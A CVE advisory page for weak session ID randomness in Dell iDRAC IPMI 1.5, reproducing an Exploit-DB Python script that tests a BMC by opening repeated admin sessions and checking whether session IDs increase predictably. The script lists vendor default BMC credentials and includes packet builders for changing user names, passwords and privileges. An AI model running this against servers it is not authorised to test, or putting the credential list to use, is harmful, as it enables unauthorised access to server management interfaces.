CVE-2014-8272

medium
Published 2014-12-19 ยท Modified 2026-05-06
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
6.0

Description

The IPMI 1.5 functionality in Dell iDRAC6 modular before 3.65, iDRAC6 monolithic before 1.98, and iDRAC7 before 1.57.57 does not properly select session ID values, which makes it easier for remote attackers to execute arbitrary commands via a brute-force attack.

Predictions

Exploit likelihood
20%
Patch ETA
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Exploits

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Exploit-DB

EDB-35770 webapps hardware python ยท 15 KB
Yong Chuan_ Koh ยท 2015-01-13

Dell iDRAC IPMI 1.5 - Insufficient Session ID Randomness

python exploit Source: Exploit-DB
"""
For testing purposes only.

(c) Yong Chuan, Koh 2014
"""

from time import sleep
from socket import *
from struct import *
from random import *
import sys, os, argparse 

HOST = None
PORT = 623

bufsize = 1024
recv = ""


# create socket
UDPsock = socket(AF_INET,SOCK_DGRAM)
UDPsock.settimeout(2)

data = 21	#offset of data start

RMCP = ('\x06' + 	#RMCP.version = ASF RMCP v1.0
	'\x00' +	#RMCP.reserved
	'\xFF' +	#RMCP.seq
	'\x07'		#RMCP.Type/Class = Normal_RMCP/IPMI
	)



def SessionHeader (ipmi, auth_type='None', seq_num=0, sess_id=0, pwd=None):
	auth_types = {'None':0, 'MD2':1, 'MD5':2, 'Reserved':3, 'Straight Pwd':4, 'OEM':5}

	sess_header = ''
	sess_header += pack('<B', auth_types[auth_type])
	sess_header += pack('<L', seq_num)
	sess_header += pack('<L', sess_id)
	if auth_type is not 'None':
		raw = pwd + pack('<L', sess_id) + ipmi + pack('<L', seq_num) + pwd
		import hashlib
		h = hashlib.md5(raw)
		sess_header += h.digest()
	sess_header += pack('B', len(ipmi))
			
	return sess_header


class CreateIPMI ():
	def __init__ (self):
		self.priv_lvls = {'Reserved':0, 'Callback':1, 'User':2, 'Operator':3, 'Admin':4, 'OEM':5, 'NO ACCESS':15 }
		self.priv_lvls_2 = {0:'Reserved', 1:'Callback', 2:'User', 3:'Operator', 4:'Admin', 5:'OEM', 15:'NO ACCESS'}
		self.auth_types = {'None':0, 'MD2':1, 'MD5':2, 'Reserved':3, 'Straight Pwd':4, 'OEM':5}

	def CheckSum (self, bytes):

		chksum = 0
		q = ''
		for i in bytes:
			q += '%02X ' %ord(i)
			chksum = (chksum + ord(i)) % 0x100
		if chksum > 0:
			chksum = 0x100 - chksum

		return pack('>B', chksum)


	def Header (self, cmd, seq_num=0x00):
		#only for IPMI v1.5
		cmds = {'Get Channel Auth Capabilities'	: (0x06, 0x38), #(netfn, cmd_code)
			'Get Session Challenge'		: (0x06, 0x39), 
			'Activate Session'		: (0x06, 0x3a),
			'Set Session Privilege Level'	: (0x06, 0x3b),
			'Close Session'			: (0x06, 0x3c),
			'Set User Access'		: (0x06, 0x43),
			'Get User Access'		: (0x06, 0x44),
			'Set User Name'			: (0x06, 0x45),
			'Get User Name'			: (0x06, 0x46),
			'Set User Password'		: (0x06, 0x47),
			'Get Chassis Status'		: (0x00, 0x01)}
		ipmi_header = ''
		ipmi_header += pack('<B', 0x20)			#target addr
		ipmi_header += pack('<B', cmds[cmd][0]<<2 | 0) 	#netfn | target lun
		ipmi_header += self.CheckSum (ipmi_header)
		ipmi_header += pack('<B', 0x81)			#source addr
		ipmi_header += pack('<B', seq_num<<2 | 0)	#seq_num | source lun
		ipmi_header += pack('<B', cmds[cmd][1])		#IPMI message command

		return ipmi_header


	def GetChannelAuthenticationCapabilities (self, hdr_seq, chn=0x0E, priv_lvl='Admin'):
		ipmi = ''
		ipmi += self.Header('Get Channel Auth Capabilities', hdr_seq)
		ipmi += pack('<B', 0<<7 | chn)			#IPMI v1.5 | chn num (0-7, 14=current_chn, 15)
		ipmi += pack('<B', self.priv_lvls[priv_lvl])	#requested privilege level
		ipmi += self.CheckSum (ipmi[3:])
		
		return ipmi


	def GetSessionChallenge (self, hdr_seq, username, auth_type='MD5'):
		#only for IPMI v1.5
		ipmi = ''
		ipmi += self.Header('Get Session Challenge', hdr_seq)
		ipmi += pack('<B', self.auth_types[auth_type])	#authentication type
		ipmi += username				#user name
		ipmi += self.CheckSum(ipmi[3:])

		return ipmi


	def ActivateSession (self, hdr_seq, authcode, auth_type='MD5', priv_lvl='Admin'):
		#only for IPMI v1.5	
		ipmi = ''
		ipmi += self.Header('Activate Session', hdr_seq)
		ipmi += pack('>B', self.auth_types[auth_type])
		ipmi += pack('>B', self.priv_lvls[priv_lvl])
		ipmi += authcode		#challenge string
		ipmi += pack('<L', 0xdeadb0b0)	#initial outbound seq num
		ipmi += self.CheckSum(ipmi[3:])

		return ipmi


	def SetSessionPrivilegeLevel (self, hdr_seq, priv_lvl='Admin'):
		#only for IPMI v1.5
		ipmi = ''
		ipmi += self.Header('Set Session Privilege Level', hdr_seq)
		ipmi += pack('>B', self.priv_lvls[priv_lvl])
		ipmi += self.CheckSum(ipmi[3:])

		return ipmi


	def CloseSession (self, hdr_seq, sess_id):
		ipmi = ''
		ipmi += self.Header ("Close Session", hdr_seq)
		ipmi += pack('<L', sess_id)
		ipmi += self.CheckSum(ipmi[3:])

		return ipmi


	def GetChassisStatus (self, hdr_seq):
		ipmi = ''
		ipmi += self.Header ("Get Chassis Status", hdr_seq)
		ipmi += self.CheckSum(ipmi[3:])

		return ipmi


	def GetUserAccess (self, hdr_seq, user_id, chn_num=0x0E):
		ipmi = ''
		ipmi += self.Header ("Get User Access", hdr_seq)
		ipmi += pack('>B', chn_num)		#chn_num = 0x0E = current channel
		ipmi += pack('>B', user_id)
		ipmi += self.CheckSum(ipmi[3:])

		return ipmi


	def GetUserName (self, hdr_seq, user_id=2):
		ipmi = ''
		ipmi += self.Header ("Get User Name", hdr_seq)
		ipmi += pack('>B', user_id)
		ipmi += self.CheckSum(ipmi[3:])

		return ipmi

	def SetUserName (self, hdr_seq, user_id, user_name):
		#Assign user_name to user_id, replaces if user_id is occupied
		ipmi = ''
		ipmi += self.Header ("Set User Name", hdr_seq)
		ipmi += pack('>B', user_id)
		ipmi += user_name.ljust(16, '\x00')
		ipmi += self.CheckSum(ipmi[3:])

		return ipmi

	def SetUserPassword (self, hdr_seq, user_id, password, op='set password'):
		ops = {'disable user':0, 'enable user':1, 'set password':2, 'test password':3}
		ipmi = ''
		ipmi += self.Header ("Set User Password", hdr_seq)
		ipmi += pack('>B', user_id)
		ipmi += pack('>B', ops[op])
		ipmi += password.ljust(16, '\x00') #IPMI v1.5: 16bytes | IPMI v2.0: 20bytes
		ipmi += self.CheckSum(ipmi[3:])

		return ipmi

	def SetUserAccess (self, hdr_seq, user_id, new_priv, chn=0x0E):
		ipmi = ''
		ipmi += self.Header ("Set User Access", hdr_seq)
		ipmi += pack('<B', 1<<7 | 0<<6 | 0<<5 | 1<<4 | chn)	#bit4=1=enable user for IPMI Messaging | chn=0xE=current channel
		ipmi += pack('>B', user_id)
		ipmi += pack('>B', self.priv_lvls[new_priv])
		ipmi += pack('>B', 0)
		ipmi += self.CheckSum(ipmi[3:])

		return ipmi


def SendUDP (pkt):

	global HOST, PORT, data

	res = ''
	code = ipmi_seq = 0xFFFF
	for i in range(5):
		try:
			UDPsock.sendto(pkt, (HOST, PORT))
			res = UDPsock.recv(bufsize)
		except Exception as e:
			print '[-] Socket Timeout: Try %d'%i
			sleep (0)
		else:
			#have received a reply
			if res[4:5] == '\x02':		#Session->AuthType = MD5
				data += 16
			code 	= unpack('B',res[data-1:data])[0]
			ipmi_seq= unpack('B',res[data-3:data-2])[0]>>2
			if res[4:5] == '\x02':
				data -= 16
			break
	return code, ipmi_seq, res


def SetUpSession (username, pwd, priv='Admin', auth='MD5'):

	global data

	#Get Channel Authentication Capabilities
	ipmi = CreateIPMI().GetChannelAuthenticationCapabilities(0, chn=0xE, priv_lvl=priv)
	code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi) + ipmi)
	if code != 0x00:
		return code, 0, 0, 0
	#print '[+]%-30s: %02X (%d)'%('Get Chn Auth Capabilities', code, ipmi_seq)


	#Get Session Challenge
	ipmi = CreateIPMI().GetSessionChallenge(1, username, 'MD5')
	code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi) + ipmi)
	if code != 0x00:
                if code == 0xFFFF:
                        print "[-] BMC didn't respond to IPMI v1.5 session setup"
                        print "    If firmware had disabled it, then BMC is not vulnerable"
		return code, 0, 0, 0
	temp_sess_id 	= unpack('<L', res[data:data+4])[0]
	challenge_str 	= res[data+4:data+4+16]
	#print '[+]%-30s: %02X (%d)'%('Get Session Challenge', code, ipmi_seq)


	#Activate Session
	ipmi = CreateIPMI().ActivateSession(2, challenge_str, auth, priv)
	code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi, auth, 0, temp_sess_id, pwd) + ipmi)
	if code != 0x00:
		return code, 0, 0, 0
	data += 16
	sess_auth_type 			= unpack('B', res[data:data+1])[0]
	sess_id 			= unpack('<L', res[data+1:data+1+4])[0]
	ini_inbound = sess_hdr_seq 	= unpack('<L', res[data+5:data+5+4])[0]
	sess_priv_lvl 			= unpack('B', res[data+9:data+9+1])[0]
	#print '[+]%-30s: %02X (%d)'%('Activate Session', code, ipmi_seq)
	#print '   %-30s: Session_ID %08X'%sess_id
	data -= 16


	#Set Session Privilege Level
	ipmi = CreateIPMI().SetSessionPrivilegeLevel(3, priv)
	code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi, 'None', sess_hdr_seq, sess_id) + ipmi)
	sess_hdr_seq += 1
	if code != 0x00:
		return code, 0, 0, 0
	new_priv_lvl = unpack('B', res[data:data+1])[0]
	#print '[+]%-30s: %02X (%d)'%('Set Session Priv Level', code, ipmi_seq)


	return code, temp_sess_id, sess_hdr_seq, sess_id
	

def CloseSession (sess_seq, sess_id):

	global data

	#Close Session
	ipmi = CreateIPMI().CloseSession(5, sess_id)
	code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi, 'None', sess_seq, sess_id) + ipmi)
	#print '[+]%-30s: %02X (%d)'%('Close Session', code, ipmi_seq)

	return code


def CheckSessionAlive(sess_seq, sess_id):
	#SetUserPassword(): "user enable <user_id>"
	ipmi = CreateIPMI().GetChassisStatus(31)
	code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi, 'None', sess_seq, sess_id) + ipmi)
	print '[+] %-35s: %02X (%d)'%('CheckSessionAlive->GetChassisStatus', code, ipmi_seq)
	sess_seq += 1
	
	return sess_seq





def banner():
        print ("######################################################\n"+\
               "## This tool checks whether a BMC machine is vulnerable to CVE-2014-8272\n"+\
               "## (http://www.kb.cert.org/vuls/id/843044)\n"+\
               "## by logging the TemporarySessionID/SessionID in each IPMI v1.5 session,\n"+\
               "## and checking that these values are incremental\n"+\
               "## \n"+\
               "## Author:  Yong Chuan, Koh\n"+\
               "## Email:   yongchuan.koh@mwrinfosecurity.com\n"+\
               "## (c) Yong Chuan, Koh 2014\n"+\
               "######################################################\n")


def main():

        banner()
        
        #default usernames/passwords (https://community.rapid7.com/community/metasploit/blog/2013/07/02/a-penetration-testers-guide-to-ipmi)
        vendors = {"HP"         :{"user":"Administrator",       "pwd":""},     #no default pwd: <factory randomized 8-character string>
                   "DELL"       :{"user":"root",                "pwd":"calvin"},
                   "IBM"        :{"user":"USERID",              "pwd":"PASSW0RD"},
                   "FUJITSU"    :{"user":"admin",               "pwd":"admin"},
                   "SUPERMICRO" :{"user":"ADMIN",               "pwd":"ADMIN"},
                   "ORACLE"     :{"user":"root",                "pwd":"changeme"},
                   "ASUS"       :{"user":"admin",               "pwd":"admin"}
                   }
        
        arg = argparse.ArgumentParser(description="Test for CVE-2014-8272: Use of Insufficiently Random Values")
        arg.add_argument("-i", "--ip", required=True, help="IP address of BMC server")
        arg.add_argument("-u", "--udpport", nargs="?", default=623, type=int, help="Port of BMC server (optional: default 623)")
        arg.add_argument("-v", "--vendor", nargs="?", help="Server vendor of BMC (optional: for default BMC credentials)")
        arg.add_argument("-n", "--username", nargs="?", default=None, help="Username of BMC account (optional: for non-default credentials)")
        arg.add_argument("-p", "--password", nargs="?", default=None, help="Password of BMC account (optional: for non-default credentials)")

        args = arg.parse_args()

        if args.vendor is not None: args.vendor = args.vendor.upper()
        if (args.vendor is None or args.vendor not in vendors.keys()) and (args.username is None or args.password is None):
                print "[-] Error: -n and -p are required because -v is not specified/in default list"
                print "    Vendors with Default Accounts"
                print "    -----------------------------------"
                for vendor,acct in vendors.iteritems():
                        print "    %s: username='%s', password='%s'"%(vendor,acct["user"],acct["pwd"])
                sys.exit(1)
        
        if args.username is None:   args.username = vendors[args.vendor]["user"].ljust(16, '\x00')
        if args.password is None:   args.password = vendors[args.vendor]["pwd"].ljust(16, '\x00')


        global HOST, PORT
        HOST = args.ip  
        PORT = args.udpport

        print "Script Parameters"
        print "-------------------------"
        print "IP       : %s"%HOST                        
        print "Port     : %d"%PORT
        print "Username : %s"%args.username
        print "Password : %s"%args.password

        session_ids = []
        for i in xrange(0x80):  #do not go beyond 0xFF, because of how session_ids is checked for incremental later
                try:
                        code, temp_sess_id, sess_seq, sess_id = SetUpSession (args.username, args.password, priv='Admin', auth='MD5')
                        if code == 0:
                                session_ids.append(temp_sess_id)
                                session_ids.append(sess_id)
                                print '[+%04X] temp_sess_id=%08X, sess_id=%08X'%(i, temp_sess_id, sess_id)
                        else:
                                #print '[-%04X] SetUp Session: Trying again after timeout 5s'%(i)
                                sleep(5)
                                continue


                        code = CloseSession (sess_seq, sess_id)
                        if code == 0:
                                #print '[+%04X] Close Session OK'%(i)
                                i += 1
                                sleep (0.5)
                        else:
                                #print '[-%04X] Close Session fail: Wait for natural timeout (60+/-3s)'%(i)
                                sleep(65)

                except Exception as e:
                        exc_type, exc_obj, exc_tb = sys.exc_info()
                        fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
                        print (exc_type, fname, exc_tb.tb_lineno)


        session_ids = session_ids[:0xFF]
        
        #get the first incremental diff
        const_diff = None
        for i in xrange(1, len(session_ids)):
                if session_ids[i-1] < session_ids[i]:
                        const_diff = session_ids[i] - session_ids[i-1]
                        break
        #check if session_ids are increasing at a fixed value
        vulnerable = True
        crossed_value_boundary = 0
        for i in xrange(1, len(session_ids)):

                if session_ids[i]-session_ids[i-1] != const_diff:
                        if crossed_value_boundary < 2:
                                crossed_value_boundary += 1
                        else:
                                vulnerable = False

        if vulnerable:
                print "Conclusion: BMC is vulnerable to CVE-2014-8272"
        else:
                print "Conclusion: BMC is not vulnerable to CVE-2014-8272"

        
        



if __name__ == "__main__":
    main()

Application impact

VendorProductVersionsFixed
dell dellidrac6_modular{"endIncluding":"3.60"}
dell dellidrac7{"endIncluding":"1.56.55"}
intel intelipmi1.5
dell dellidrac6_monolithic{"endIncluding":"1.97"}

References

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